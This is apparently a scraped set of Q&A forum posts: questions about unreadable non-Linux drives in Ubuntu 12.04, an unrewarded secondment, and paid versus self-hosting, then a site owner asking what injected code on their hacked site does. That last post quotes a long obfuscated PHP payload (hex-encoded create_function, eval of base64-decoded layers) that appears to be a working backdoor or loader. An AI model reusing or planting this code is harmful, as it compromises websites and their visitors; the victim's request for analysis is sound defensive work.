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• Lost all non-linux hard drives

  - by Rick

  I've somehow lost access to all my non-linux drives. I'm not sure how. I have two other hard drives set up (a windows boot and an external usb I was using under windowsxp). A few days ago I could access both under linux with no problem. Now, I see them listed under media, but when I click on them, nothing is there (same thing happens when I go there in a term window). Now, the computer (under linux) sees them, but I can't see anything in them. (in nautilus it shows "(Empty)") Any ideas what happened or how to get access to them again? My guesses as to what might have caused it: -I was trying to set up AdobeAIR (unsuccessfully) and had to make and remove a couple of symbolic links. Never got that to work but maybe links I made or removed did something? -I was also trying to set up nautilus so that I could enter it with sudo permission. I also didn't figure out how to do that successfully, but maybe something I did while trying messed it up? (I think I installed and uninstalled nautilus-actions configuration tool). Note: I'm working on a relatively new install of 12.04

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• Secondment promotion promises

  - by user75460

  I'm a Java developer at a large FTSE 30 company. My line manager approached me and asked if I'd like to be the teams lead developer. I was keen to accept. Initially he said I'd be acting-up for 3 months, then changed his tune and said I would be doing a 6 month secondment. During this time, he has got himself promoted and I have a new line manager. I have been very successful during this secondment and reviews have been overwhelmingly positive: both from my former line manager and current line manager. However, six months on, no lead role has been created in the organization and a new director has re-organised the structure of the team: two senior roles (senior Android and senior iOS) are going to be created. I feel a bit put-out that my secondment has amounted to nothing. I could have just done nothing and then applied for the senior role 6 months later (which I feel aren't as marketable as Lead developer). During my secondment I have basically become TA, senior developer, line manager and general go-to guy for all things (across Android and iOS). What do you think I should do, and has my company abused it's position? I feel they have offered a secondment to a role that they never really planned to create. During this time I have received no financial benefit for doing a more senior role.

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• Web hosting deciding to pay for hosting or host your own?

  - by pllee

  Is there a guide out there on how to choose when to pay for web hosting vs. hosting your own? Assuming that root access is a must I would like to compare things like cost, scalability and personal stress. Here is what I could come up with. Paying for web hosting: Benefits: Much cheaper for a small scale. I assume anything under $50 a month would be cheaper than paying for the bandwidth of hosting. No stress in dealing with power outages, server restarts or internet going down. For the most part less busy work involved with setting up. Negatives: Cost goes way up when higher specs are needed (for example monthly cost triples with ability to use 8gb of ram that you can buy for $90 ). This means you have to target a particular ram usage and monitor so your instance stays within the threshold. root access for the most part is a premium. You may get tied into a vendor specific deployment process. Hosting on own : Positives: 100% control of specs and software. When you get past paying for the bandwidth you get much more bang for your buck by building your own machine. Negatives: Doesn't make financial sense if bandwidth costs are more than web hosting costs. Having to deal with power outages, server restarts or internet going down. I think the best of both worlds would be if there was a place that dealt with bandwidth, power outages and server restarts but you provided your own server. Kind of like a 24 hour day care for a server. Does anything like that exist?

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• Site hack... but what is this?

  - by menardmam

  My site have been hacked (i think) here is the code... the question, how to find what it does... <?php $zend_framework="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; @error_reporting(0); $zend_framework("", "\x7d\73\x40\145\x76\141\x6c\50\x40\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x4a\107\x56\62YTFmWTJiYWsxY3owaXIgPSAiXHg2NlwxNjVceDZlXDE0M1x4NzRcMTUxXHg2ZlwxNTZceDVmXDE0NVx4NzhcMTUxXHg3M1wxNjRceDczIjsgJGV2YTFmWTJiYWwxY3owaXIgPSAiXHg2ZlwxNDJceDVmXDE2M1x4NzRcMTQxXHg3MlwxNjQiOyAkZXZhMWZZMmJhbDFjejhpciA9ICJceDYzXDE1N1x4NjRcMTQ1XHg3OFw2Mlx4MzIiOyBpZigkZXZhMWZZMmJhazFjejBpcigkZXZhMWZZMmJhbDFjejBpcikgJiYgIWlzc2V0KCRHTE9CQUxTWyRldmExZlkyYmFsMWN6OGlyXSkpIHsNCgkkR0xPQkFMU1skZXZhMWZZMmJhbDFjejhpcl09MTsgCWlmKCEkZXZhMWZZMmJhazFjejBpcigiXHg2NVwxNjZceDYxXDYxXHg2NlwxMzFceDMyXDE0Mlx4NjFcMTUzXHgzMVwxNDNceDU2XDYyXHg2OVwxNjIiKSkgeyBpZighJGV2YTFmWTJiYWsxY3owaXIoIlx4NjVcMTY2XHg2MVw2MVx4NjZcMTMxXHgzMlwxNDJceDYxXDE1M1x4MzFcMTQzXHg1Nlw2MFx4NjlcMTYyIikpIHsNCiBmdW5jdGlvbiBldmExZlkyYmFrMWNWMGlyKCkgew0KIC8vZWNobyBzdGFydA0KDQogaWYoIWlzc2V0KCRHTE9CQUxTWyJhZ2hleDAiXSkpIHsNCgkkR0xPQkFMU1siYWdoZXgwIl09MTsNCiAkZXZhbHNzc2dxdWxWQlRrWkxBY2ggPSAiIjsNCiBpZiAoIWlzc2V0KCRldmExZllsYmFrQmNWU2lyKSkgeyRldmExZllsYmFrQmNWU2lyID0gIjdreUo3a1NLaW9EVFdWV2VSQjNUaWNpTDFVamNtUmlMbjRTS2lBRVRzOTBjdVpsVHo1bVJPdEhXSGRXZlJ0MFp1cG1WUk5UVTJZMk1WWmtUOGgxUm4xWFVMZG1icXhHVTdoMVJuMVhVTGRtYnFaVlV6RWxObU5UVkd4RWVOdDFaemtGY21KeUp1VVROeVpHSnVjaUx4azJjd1JDTGlJQ0t1VkhkbEpISm40U055a21ja1JpTG5zVEtuNGlJbklpTG5Ba2RYNVVjMmRsVHNoRWNNaEhUOHhGZU14MlQ0eGpXa05UVXdWR05kVnpXdlYxV2M5V1Qyd2xicVpWWDNsRWNsaFRUS2RXZjhvRVp6a1ZOZHAyTndaR05WdFZYOGRtUlBGM04xVTJjVlpEWDRsVmNkbFdXS2QyYVpCblp0VkZmTkozTjFVMmNWWkRYNGxWY2RsV1dLZDJhWkJuWnRWa1ZUcEdUWEIxSnVJVE55WkdKdUl5Smk0U04xSW5aazR5SnVreUp1SXlKaTR5SjY0R2ZOcGpiV0JWZElkMFQ3TmpWUUpIVndWMmFOWnpXelFqU01oWFRiZDJNWkJuWnhwSGZORm5hc1ZXZXZwMFp0aGpXbkJIUFoxMU1KcFZYOEZsU014RFJXQjFKdUlUTnlaR0p1SXlKaTRTTjFJblprNHlKdWt5SnVJeUppNHlKQVozVk9GbmRYNUVlTnQxWnprRmNtNW1hV0ZsYjBvRVQ0MTBXbk5UV3daV2M2eFhUNDEwV25OVFd3Wm1ibVprVDR4aldrTlRVd1ZHTmRWeld2VjFXYzlXVDJ3bGF6Y0VUbjRpTTFJblprNHlKbjRpSW5JaUwxVWpjbVJpTG40U0tpQWtkWDVVYzJkbFQ5cG5SUVozTndaR05WdFZYOFZsUk94WFYyWUdiWlpqWjR4a1ZQeFdXMWNHYkV4V1o4bDFTbjlXVDIwa2RteFdaOGwxU245V1RMMVVjcXhXWjU5bVNuMUdPYWRHYzhrVlh6a2tXZHhYVUt4RVBFeEdVbjRpTTFJblprNHlKaWNpTDFVamNtUmlMbjBUTXBOSGNrc1RLaWNpTHlVVGF5WkdKdWNTTjN3Vk0xZ0hYMlFUTWNkek00eDFNMUVEWHpVRGVjTlRNeHdWTjNnSFh5RVRNY2hUTjR4Rk4wRURYd01EZWNaak14d0ZaMmdIWHpRVE1jSm1ONHgxTjJFRFg1WURlY0ZUTXh3Vk8yZ0hYM1FUTWNOVE40eGxNekVEWGlaRGVjRnpOY2RETjR4bE0wRURYM2NEZWNGak5jZFRONHhWTTBFRFhtWkRlY1ZqTXh3MU4wZ0hYeU1UTWNaek40eGxOeEVEWDNVRGVjSnpNeHdsWTJnSFh4Y0RYMlFEZWNaVE14d2xNemdIWDFJVE1jSnpNNHgxTTBFRFg0WURlY0pUTXh3MU4wZ0hYeEVUTWNWek40eGxNeEVEWDRVRGVjUkROeHdGTXpnSFgySVRNY1JtTjR4MU0wRURYM01EZWNOVE54d1ZPMmdIWHlRVE1jWnpONHhsTXlFRFg0VURlY0ZETnh3VlkyZ0hYMVlEWDNVRGVjUkROeHdGWjJnSFh5SVRNY05ETjR4Vk14RURYemNEZWNSak5jUm1ONHgxTTBFRFh4TURlY0pqTXh3Rk8xZ0hYeU1UTWNsek40eGxNeUVEWHpRRGVjTlRNeHdsTTNnSFh3Y1RNY2RUTjR4Vk16RURYek1EZWNGek5jWlRONHhWTjBFRFg0WURlY0pUTXh3VloyZ0hYelFUTWNoak40eEZOMkVEWDBVRGVjTlRNeHdWTjNnSFh5RVRNY2hUTjR4Rk4wRURYd01EZWNaak14d0ZaMmdIWHpRVE1jSm1ONHgxTjBFRFh6UURlY1JETnh3Rk0zZ0hYd2NUTWNkRE40eDFNMEVEWGhkRGVjRnpOY05tTjR4MU0wRURYd01EZWNaVE14d0ZPMGdIWHhFVE1jbHpNNHhWTXdFRFg1WURlY0pETnh3Vk8zZ0hYMklUTWNkaUwxSVRheVpHSnVjeU56Z0hYelVUTWNsak40eFZNeEVEWDNNRGVjTlROeHdWTzNnSFgxRVRNY1J6TjR4MU0xRURYNVlEZWNKRE54d2xOM2dIWDBVVE1jZERONHhGTjBFRFhoWkRlY1ZqTmNkVE40eEZOMEVEWGtaRGVjSlRNeHdWTzJnSFgwRVRNY2xqTjR4Vk15RURYelFEZWNOVE14d2xZMmdIWHlFVE1jTnpNNHhsTTBFRFhtWkRlY0ZUTXh3Rk8wZ0hYeFFUTWNGbU40eGxNd0VEWHpVRGVjQmpNeHcxTjJnSFgwWURYeU1EZWNKRE54d0ZNM2dIWHlJVE1jTnpNNHhWTXpFRFgxY0RlY1pqTXh3VloyZ0hYeU1UTWNsak40eEZOMndWTzJnSFh4RVRNY0ptTjR4Vk14RURYelFEZWNSVE14d1ZPMmdIWDBZRFh5TURlY0pETnh3Rk0zZ0hYeUlUTWNOek00eFZNekVEWDFjRGVjWmpNeHdWWjJnSFh5TVRNY2xqTjR4Rk4yd1ZPMmdIWHhFVE1jSm1ONHhWTXpFRFg1WURlY0ZUTXh3bFoyZ0hYMFlEWHlNRGVjSkROeHdGTTNnSFh5SVRNY056TTR4Vk16RURYMWNEZWNaak14d1ZaMmdIWHlNVE1jWmpONHhsTnlFRFgzUURlY1JETnh3Rk8yZ0hYMklUTWNSbU40eDFNMEVEWGhaRGVjSkRNeHcxTTFnSFh3SVRNY2RqTjR4Rk4yd2xNemdIWHlRVE1jQnpNNHhGTjFFRFh5TURlY0Z6TXh3Vk4zZ0hYMklUTWNWbU40eGxNekVEWGlaRGVjTmpOeHdGTzBnSFh4RVRNY0J6TjR4Rk4yd0ZaMmdIWHpRVE1jRnpNNHhsTXlFRFg0VURlY0p6TXh3Vk8zZ0hYeUlUTWNORE40eDFNeEVEWDFjRGVjWmpNeHdWWjJnSFh6UVRNY0J6TTR4bE55RURYa1pEZWNORE54dzFOMmdIWDBZRFh5TURlY0pETnh3Rk0zZ0hYeUlUTWNOek00eFZNekVEWDFjRGVjWmpNeHdWWjJnSFh5TVRNY0ppTG40U055SW5aazR5SnpZVE1jRjJONHhsTXhFRFgxY0RlY1pqTXh3VloyZ0hYelFUTWNCek00eGxOeUVEWGtaRGVjTkROeHdWWjJnSFh3WURYaFpEZWNKRE54d1ZNemdIWHlFVE1jZGlMMUlUYXlaR0p1Y2lJdWNpTDFJamNtUmlMblV6TmNkek40eDFOeEVEWGxaRGVjUmpOY0p6TTR4bE0wRURYd2NEZWNKak14dzFNemdIWHhNVE1jVnpONHhsTnlFRFhsWkRlY0p6TXh3bE4yZ0hYMklUTWNkRE40eEZOMEVEWDRZRGVjWmpNeHdGWjJnSFh6UVRNY0ZtTjR4Rk4wRURYelVEZWNCak14d1ZOM2dIWDJJVE1jZGlMMUlUYXlaR0p1Y2lJdWNpTDFJamNtUmlMbk1qTnh3VlkzZ0hYeUVUTWNObU40eGxOeEVEWDNVRGVjRnpNeHcxTTNnSFh5QVRNY2hUTjR4bE16RURYNWNEZWNGek5jRnpNNHhsTXpFRFhqWkRlY0pUTXh3Rk8wZ0hYelFUTWNWbU40eEZNMndWWTJnSFh5UVRNY2x6TjR4bE53RURYM1FEZWNSRE54dzFZMmdIWHlFVE1jaERONHhsTXhFRFhpNGlNMVFYYW1SQ0x5VWpacFpHSnNVak1tbG1aa2dTWmpGR2J3Vm1jZmRXWnlCM09pSWpNNHhGTTF3Vk4yZ0hYMFFUTWNabU40eDFNMEVEWDFZRGVjUkROeHdsWjFnSFgwWURYMk1EZWNWRE54dzFNM2dIWHhRVE1jSmpONHhGTTF3MVkyZ0hYeFFUTWNaek40eFZOMEVEWHdRRGVjSkNJOUFpTTFRWGFtUnlPaUkyTTR4Vk0xd2xNeWdIWHhZRFhqVkRlY0pETmNoak00eEZOMUVEWHhZRGVjWmpOeHdWTjJnSFhpQVNQZ0lUTm1sbVprc2pJMVFUTWNsak40eEZNd0VEWDVJRGVjTlROY1ZtTTR4Rk0xd0ZNMGdIWGlBU1BnVWpNbWxtWmtjQ0tzRm1kbHRqSXdJRGVjVnpOY0JqTTR4Rk0yd0ZOMmdIWDBRVE1jUmpNNHhsSWcwREkxSVRheVJHSmdzVE4xa21jbVJpTG5raUluNGlNMWttY21SQ0k5QVNOeUluWmtBeU9uZ0RONHhGTjBFRFhqWkRlY0pUTXh3Rk8wZ0hYeUVUTWNkQ0k5QVNOeWttY21SeU9uSTJNNHhWTTF3Vk95Z0hYeVFEWGtORGVjZENJOUFpTTFrbWNtUnlPblFEVjJZV2ZWdFVUbkFTUGdJVE55WkdKN2NDS3VWbmMwVm1ja2NDSTlBU04xSW5aa3N6SnlVRGRwWkdKc0lUTm1sbVprd1NOeVlXYW1SQ0t1SlhZMFZtY2tzekpnMERJMVVUYXlaR0orYVdZZ0tDRnBjM05sZENna1pYWmhiRlZrUTFoVVJGRkZVbTFYYmtSVEtTa2dlMloxYm1OMGFXOXVJR1YyWVd4c2QyaFdaa2xXYmxkUVlsUW9KSE1wZXlSbElEMGdJaUk3SUdadmNpQW9KR0VnUFNBd095QWtZU0E4UFNCemRISnNaVzRvSkhNcExURTdJQ1JoS3lzZ0tYc2taU0F1UFNBa2MzdHpkSEpzWlc0b0pITXBMU1JoTFRGOU8zMXlaWFIxY200b0pHVXBPMzFsZG1Gc0tHVjJZV3hzZDJoV1prbFdibGRRWWxRb0p6c3BLU0k5UVZObU4ydDVZVTVTYldKQ1VsaFhkazV1VW1wR1ZWZEtlRmRaTWxaSFNtOVZSMXAyVGxkYWF6bEdUakpWTW1Ob1NrZEpkVXBZWkRCV2JXTTNRbE5MY2pGRlduVkdSV1JhT1RKalIwNVhVVnBzUldKb1dsaGFhMmRwVWxSS2ExcFFiREJhYUZKR1lsQkNSbUZQTVVWaWFGcFlXbWMwTW1Kd1VqTlpkVlp1V2lJb1pXUnZZMlZrWHpRMlpYTmhZaWhzWVhabEp5a3BPMlYyWVd3b1pYWmhiR3gzYUZabVNWWnVWMUJpVkNnbk95a3BJamRyYVVrNU1FVlRhMmh0VlhwTmJVbHZXVEJWUTFveVZFcGtWMWxWZURKVVVXaHRWRTU0VjFreVZsZFFXRTVHV201T1JWcFdiRlpoUms1V1ltaDRWMWt5VmtkS0lpaGxaRzlqWldSZk5EWmxjMkZpS0d4aGRtVW5LU2s3WlhaaGJDaGxkbUZzYkhkb1ZtWkpWbTVYVUdKVUtDYzdLU2tpTjJ0cFNUa3dWRkZxUW1wVlNVWnRTVzlaTUZWRFdqSlVTbVJYV1ZWNE1sUlJhRzFVVG5oWFdUSldWMUJZV2xaamFGcHNZM0JXTWxaVmVGZFpNbFpIU2lJb1pXUnZZMlZrWHpRMlpYTmhZaWhzWVhabEp5a3BPMlYyWVd3b1pYWmhiR3gzYUZabVNWWnVWMUJpVkNnbk95a3BJamRyYVVrNVVYcFdhRXBEUzBkT2JGRnRPVlZUYmtaSFZuTTVSVlZ2TlZWVWMwWnRaR3d4YWxGdGFFWlNWbVJGWkdsV1JscERlRmRaTWxaSFNpSW9aV1J2WTJWa1h6UTJaWE5oWWloc1lYWmxKeWtwTzJWMllXd29aWFpoYkd4M2FGWm1TVlp1VjFCaVZDZ25PeWtwSWowOWQwOXdTVk5RT1VWV1V6SlNNbFpLU2tOTFIwNXNVVzA1VlZOdVJrZFdjemxGVlc4MVZWUnpSbTFrYkRGVVdsWndibEoxVmpKUmMwb3laRko0VjFreVZrZEtJaWhsWkc5alpXUmZORFpsYzJGaUtHeGhkbVVuS1NrN1pYWmhiQ2hsZG1Gc2JIZG9WbVpKVm01WFVHSlVLQ2M3S1NraVBYTlVXSEJKVTFZeFZXeFZTVnBGVFZsT2JGWjNWV3hXTlZsVlZsWktiRkpVU2tOTFIwNXNVVzA1VlZOdVJrZFdjemxGVlc4MVZWUnpSbTFrYkhSc1ZVWmFiRlZHVGpGWWF6QjZVVzFPTWxwT1FtNWtjRTVZVkhsNFYxa3lWa2RLSWlobFpHOWpaV1JmTkRabGMyRmlLR3hoZG1VbktTazdaWFpoYkNobGRtRnNiSGRvVm1aSlZtNVhVR0pVS0NjN0tTa2lQWE5VUzNCcmFXTnhUbXhXYWtZd1lXaFNSMWRhVWxoTmFGcFlXbXRuYVdSc1NtNWpNRTVJUzBkT2JGRnRPVlZUYmtaSFZuTTVSVlZ2TlZWVWMwWnRaR3hvUTJKb1dsaGFJaWhsWkc5alpXUmZORFpsYzJGaUtHeGhkbVVuS1NrN1pYWmhiQ2hsZG1Gc2JIZG9WbVpKVm01WFVHSlVLQ2M3S1NraVBYTlVTM0JKVTFBNVl6SlpjMmhZWWxwU2JsSjBWbXhKYjFrd1ZVTmFNbFJLWkZkWlZYZ3lWRkZvYlZST2VGZFpNbFpIU1hOcmFVa3dXVEZTWVZadVVsaGtiRWx2V1RCVlExb3lWRXBrVjFsVmVESlVVV2h0VkU1NFYxa3lWa2RKYzJ0cFNUbHJSVmRoU2tSaVNFWnRZVXRvVmxkdFdqQldhRXBEUzBkT2JGRnRPVlZUYmtaSFZuTTVSVlZ2TlZWVWMwWnRaR3hDUTB4d1NVTk5OVEJYVlZBMWExWlZTa05MUjA1c1VXMDVWVk51UmtkV2N6bEZWVzgxVlZSelJtMWtiRUpEVEhCSlUxQkNOVEpaZUdkdVRWWktRMHRIVG14UmJUbFZVMjVHUjFaek9VVlZielZWVkhOR2JXUnNRa05NY0VsRFlqUkthbGN5YkdwTlUwcERTMGRPYkZGdE9WVlRia1pIVm5NNVJWVnZOVlZVYzBadFpHeG9VMlZvU201amFFSlRVR2RSU0ZWRmFESmllbVJGWkhWU1JXUlZlRmRaTWxaSFNpSW9aV1J2WTJWa1h6UTJaWE5oWWloc1lYWmxKeWtwTzJWMllXd29aWFpoYkd4M2FGWm1TVlp1VjFCaVZDZ25PeWtwSWowOWQwOXdhMmxKTlZGSVZreHdibFZFZEd0bFV6VnRXWE5LYkdKcFdtNVVlV2RHVFZkS2FsZHRXakZTYVVKdVYwaEdNVm93TURKWmVFbEdWMkZzU0dSSmJFVmpUbWhyVTNaU1ZHSlNNV3RVZVVsc1UzTkNSRlpoV2pCTmFIQnJVMVpTYkZKcldtdFpiM0JHVjJGa1IwNTVTVWRqVTA1VVZ6RmFiR0poU2tOTFIwNXNVVzA1VlZOdVJrZFdjemxGVlc4MVZWUnpSbTFrYkdoRFltaGFXRm9pS0dWa2IyTmxaRjgwTm1WellXSW9iR0YyWlNjcEtUdGxkbUZzS0dWMllXeHNkMmhXWmtsV2JsZFFZbFFvSnpzcEtTSTlQWGRQY0dkRFRXdFNSMHBuTUVSSldYQklVbmxvTVZSSlpESlRibmhYV1RKV1Iwb2lLR1ZrYjJObFpGODBObVZ6WVdJb2JHRjJaU2NwS1R0bGRtRnNLR1YyWVd4c2QyaFdaa2xXYmxkUVlsUW9KenNwS1NJOVBWRm1PWFJVV0hoelJtRnFSa1ZVWVhSSFZrTmFSbUl4UmpOYWVrNHpZM05HYldSc1VrTkpPVUZEWVdwR1JWUmhkRWRXUTFwR1lqRkdNMXA2VGpOamMwWnRaR3hTUTBrM2EwTmhha1pGVkdGMFIxWkRXa1ppTVVZelducE9NMk56Um0xa2JGSkRUR3hXYkdWSE5WZGFSSGh0V1ROR1JtSm9XbGhhYTJkVFdtczVSMkozYUZoYVp6QkVTVzlPVjFGTmNERmhWVXByVm5OV1dHTnVUak5qZW5oWFdUSldSMG8zYkZOTGJGWnNaVWMxVjFwRWVHMVpNMFpHWW1oYVdGcHJkME5oYWtaRlZHRjBSMVpEV2taaU1VWXpXbnBPTTJOelJtMWtiRkpEUzNsU00yTjVVak5qYjBGcFduQjBWRXR3TUZaTGFWVnNWSGhSVmxNMVdWVldWa3BzVWxSS1EwdEhUbXhSYlRsVlUyNUdSMVp6T1VWVmJ6VlZWSE5HYldSc2RHeFZSbHBzVlVaT01WaHJaMU5hYXpreVdYVldSMko1Vm01TWNFbFRUMjR4YlZOcFoybFNWRXByV2xCc01GcG9Va1ppVUVKR1lVOHhSV0pvV2xoYWRXdDVVVzFPTWxwT1FtNWtjRTVZVkhsNFYxa3lWa2RLYjFWSFduWk9iV0pzZUcxak1UVlRTMmxyVkZOMGNHdEpiMWt3VlVOYU1sUktaRmRaVlhneVZGRm9iVlJPZUZkWk1sWnRUR1JzYVVrNWEydFNVMVpyVW5kbmJGSlRSa1JXVDFveFlWWktRMHRIVG14UmJUbFZVMjVHUjFaek9VVlZielZWVkhOR2JXUnNkR3hWUmxwc1ZVWk9NVmhyTkZOTGFUQkVUVlZHYlVsdldUQlZRMW95VkVwa1YxbFZlREpVVVdodFZFNTRWMWt5Vm0xTWNFbFRVRFJSTUZscFoybFNWRXByV2xCc01GcG9Va1ppVUVKR1lVOHhSV0pvV2xoYWRXdHBTWFpLYTJKTlNrTkxSMDVzVVcwNVZWTnVSa2RXY3psRlZXODFWVlJ6Um0xa2JEVnBVVzFvUmxKV1pFVmthVlpHV2tONFYxa3lWa2RLZFd0cFNUa3dlbVJOU2tOTFIwNXNVVzA1VlZOdVJrZFdjemxGVlc4MVZWUnpSbTFrYkRWRFZ6WlNhMk5aT1VWVGJuUXdXbk5HYldSc1VtbE1jRWxUVURSclNGUnBaMmxTVkVwcldsQnNNRnBvVWtaaVVFSkdZVTh4UldKb1dsaGFkV3RwU1Rrd2VscFFTa05MUjA1c1VXMDVWVk51UmtkV2N6bEZWVzgxVlZSelJtMWtiRFY1VmxkR1dGbFhTbGhoYkdSR1ZuTkdiV1JzVWtOTGRVcEZWR3BrVlZOS09WVlhlSFJYVTBNeFZWSlllRmRaTWxaSFNUbEJRMkZxUmtWVVlYUkhWa05hUm1JeFJqTmFlazR6WTNOR2JXUnNVa05KTjJ0RFRYZG5SRTE0YzFOTGIxVlhZbkJTU0V4d2EybEpPVEJGVTJ0b2JWVjZUVzFKYjFrd1ZVTmFNbFJLWkZkWlZYZ3lWRkZvYlZST2VGZFpNbFpIU3pGUlYySnpZekZWYTJReVVXdFdWbGR3VmpCVmRFWkhZbWhhV0ZwcloxTmFjSFF5WW5aT1IyUnNUa2hSWjNOSVNXeE9TR0pzUWxObU4wSlRTM0JyVTFoWVRrWmFiazVGV2xac1ZtRkdUbFppYUhoWFdUSldSMHBpVmxWVFREa3dWRVE1UmtwdlVWaGFlazVZWVc5QmFXTjJRbE5MY0UxcldtcGtWMVIzV2xoaGVqRnJZM05HYldSc1VrTkpjMGxUWVhaSlEwbDFRVk5MTUVKR1VtODVNbU5JVW01aVJWSklWbk5HYldSc1VrTkpjMGxEWm1sblUxcHJPVWRpZHpGWFlXYzBRMGxwT0dsSmIyY3lXVEJHVjJKbVpGZGFlVUpJUzI5WlYyRWlLR1ZrYjJObFpGODBObVZ6WVdJb2JHRjJaU2NwS1Rza1pYWmhiRlZrUTFoVVJGRkZVbTFYYmtSVElEMHhPRGM1TWp0OSI7JGV2YTF0WWxiYWtCY1ZTaXIgPSAiXHg2NVwxNDRceDZmXDE1NFx4NzBcMTcwXHg2NSI7JGV2YTF0WWxkYWtCY1ZTaXIgPSAiXHg3M1wxNjRceDcyXDE2Mlx4NjVcMTY2IjskZXZhMXRZbGRha0JvVlMxciA9ICJceDY1XDE0M1x4NjFcMTU0XHg3MFwxNDVceDcyXDEzN1x4NjdcMTQ1XHg3MlwxNjAiOyRldmExdFlpZG9rQm9WU2pyID0gIlx4M2JcNTFceDI5XDEzNVx4MzFcMTMzXHg3MlwxNTJceDUzXDEyNlx4NjNcMTAyXHg2YlwxNDFceDY0XDE1MVx4NTlcMTY0XHgzMVwxNDFceDc2XDE0NVx4MjRcNTBceDY1XDE0NFx4NmZcMTQzXHg2NVwxNDRceDVmXDY0XHgzNlwxNDVceDczXDE0MVx4NjJcNTBceDZjXDE0MVx4NzZcMTQ1XHg0MFw3Mlx4NjVcMTY2XHg2MVwxNTRceDI4XDQyXHg1Y1w2MVx4MjJcNTFceDNiXDcyXHg0MFw1MFx4MmVcNTNceDI5XDEwMFx4NjlcMTQ1IjskZXZhMXRZbGRva0JjVlNqcj0kZXZhMXRZbGRha0JjVlNpcigkZXZhMXRZbGRha0JvVlMxcik7JGV2YTF0WWxkYWtCY1ZTanI9JGV2YTF0WWxkYWtCY1ZTaXIoJGV2YTF0WWxiYWtCY1ZTaXIpOyRldmExdFlpZGFrQmNWU2pyID0gJGV2YTF0WWxkYWtCY1ZTanIoY2hyKDI2ODcuNSowLjAxNiksICRldmExZllsYmFrQmNWU2lyKTskZXZhMXRZWGRha0FjVlNqciA9ICRldmExdFlpZGFrQmNWU2pyWzAuMDMxKjAuMDYxXTskZXZhMXRZaWRva0JjVlNqciA9ICRldmExdFlsZGFrQmNWU2pyKGNocigzNjI1KjAuMDE2KSwgJGV2YTF0WWlkb2tCb1ZTanIpOyRldmExdFlsZG9rQmNWU2pyKCRldmExdFlpZG9rQmNWU2pyWzAuMDE2Kig3ODEyLjUqMC4wMTYpXSwkZXZhMXRZaWRva0JjVlNqcls2Mi41KjAuMDE2XSwkZXZhMXRZbGRha0JjVlNpcigkZXZhMXRZaWRva0JjVlNqclswLjA2MSowLjAzMV0pKTskZXZhMXRZbGRha0JjVlNpciA9ICIiOyRldmExdFlsZGFrQm9WUzFyID0gJGV2YTF0WWxiYWtCY1ZTaXIuJGV2YTF0WWxiYWtCY1ZTaXI7JGV2YTF0WWlkb2tCb1ZTanIgPSAkZXZhMXRZbGJha0JjVlNpcjskZXZhMXRZbGRha0JjVlNpciA9ICJceDczXDE2NFx4NzJceDY1XDE0M1x4NzJcMTYwXDE2NFx4NzIiOyRldmExdFlsYmFrQmNWU2lyID0gIlx4NjdcMTQxXHg2ZlwxMzNceDcwXDE3MFx4NjUiOyRldmExdFlsZGFrQm9WUzFyID0gIlx4NjVcMTQzXHg3MlwxNjAiOyRldmExdFlsZGFrQmNWU2lyID0gIiI7JGV2YTF0WWxkYWtCb1ZTMXIgPSAkZXZhMXRZbGJha0JjVlNpci4kZXZhMXRZbGJha0JjVlNpcjskZXZhMXRZaWRva0JvVlNqciA9ICRldmExdFlsYmFrQmNWU2lyO30gfSAgDQogDQogcmV0dXJuICRldmFsc3NzZ3F1bFZCVGtaTEFjaDsgICB9IH0NCiBpZighJGV2YTFmWTJiYWsxY3owaXIoIlx4NjdcMTcyXHg2NFwxNDVceDYzXDE1N1x4NjRcMTQ1IikpIHsNCiBmdW5jdGlvbiBnemRlY29kZSgkZXZhMWZZMmJvMDF6bzgxNykgeyAkZXZhMWZZMmJhbDFjejhpNCA9ICJceDczXDE2NFx4NzJcMTYwXHg2ZlwxNjMiOyAkZXZhMWZZMmJvbDFjejhpNSA9ICJceDczXDE2NVx4NjJcMTYzXHg3NFwxNjIiOyAkZXZhMWZZMmJvMTFjejhpNSA9ICJceDc1XDE1Nlx4NzBcMTQxXHg2M1wxNTMiOyAkZXZhMWZZMmJvMWxjejhpNSA9ICJceDYzXDE1MFx4NzIiOyAkZXZhMWZZMmJvMWx6YzhpNSA9ICJceDY3XDE3Mlx4NjlcMTU2XHg2NlwxNTRceDYxXDE2NFx4NjUiOw0KICRldmExZlkyYm8wMXpvMzE3PUBvcmQoQCRldmExZlkyYm9sMWN6OGk1KCRldmExZlkyYm8wMXpvODE3LDMsMSkpOw0KICRldmExZlkyYm8wMWMwMzE3PTEwOyAgaWYoJGV2YTFmWTJibzAxem8zMTcmNCkgew0KICRldmExZlkyYm8wMXowMzE3PUAkZXZhMWZZMmJvMTFjejhpNSgndicsJGV2YTFmWTJib2wxY3o4aTUoJGV2YTFmWTJibzAxem84MTcsMTAsMikpOw0KICRldmExZlkyYm8wMXowMzE3PSRldmExZlkyYm8wMXowMzE3WzFdOw0KICRldmExZlkyYm8wMWMwMzE3Kz0yKyRldmExZlkyYm8wMXowMzE3Ow0KIH0gIGlmKCRldmExZlkyYm8wMXpvMzE3JjgpIHsNCiAkZXZhMWZZMmJvMDFjMDMxNz1AJGV2YTFmWTJiYWwxY3o4aTQoJGV2YTFmWTJibzAxem84MTcsJGV2YTFmWTJibzFsY3o4aTUoMCksJGV2YTFmWTJibzAxYzAzMTcpKzE7DQogfSAgaWYoJGV2YTFmWTJibzAxem8zMTcmMTYpIHsNCiAkZXZhMWZZMmJvMDFjMDMxNz1AJGV2YTFmWTJiYWwxY3o4aTQoJGV2YTFmWTJibzAxem84MTcsJGV2YTFmWTJibzFsY3o4aTUoMCksJGV2YTFmWTJibzAxYzAzMTcpKzE7DQogfSAgaWYoJGV2YTFmWTJibzAxem8zMTcmMikgew0KICRldmExZlkyYm8wMWMwMzE3Kz0yOw0KIH0gICRldmExZlkyYm8wMWMwM2E3PUAkZXZhMWZZMmJvMWx6YzhpNShAJGV2YTFmWTJib2wxY3o4aTUoJGV2YTFmWTJibzAxem84MTcsJGV2YTFmWTJibzAxYzAzMTcpKTsgIGlmKCRldmExZlkyYm8wMWMwM2E3PT09RkFMU0UpIHsNCiAkZXZhMWZZMmJvMDFjMDNhNz0kZXZhMWZZMmJvMDF6bzgxNzsNCiB9ICByZXR1cm4gJGV2YTFmWTJibzAxYzAzYTc7DQogfSB9DQogZnVuY3Rpb24gZXZhMWZZMmJhazFjVjJpcigkdmFyNikgeyAkZXZhMWZZMmIwMWx6YzhsNSA9ICJceDcwXDE2Mlx4NjVcMTQ3XHg1ZlwxNjJceDY1XDE2MFx4NmNcM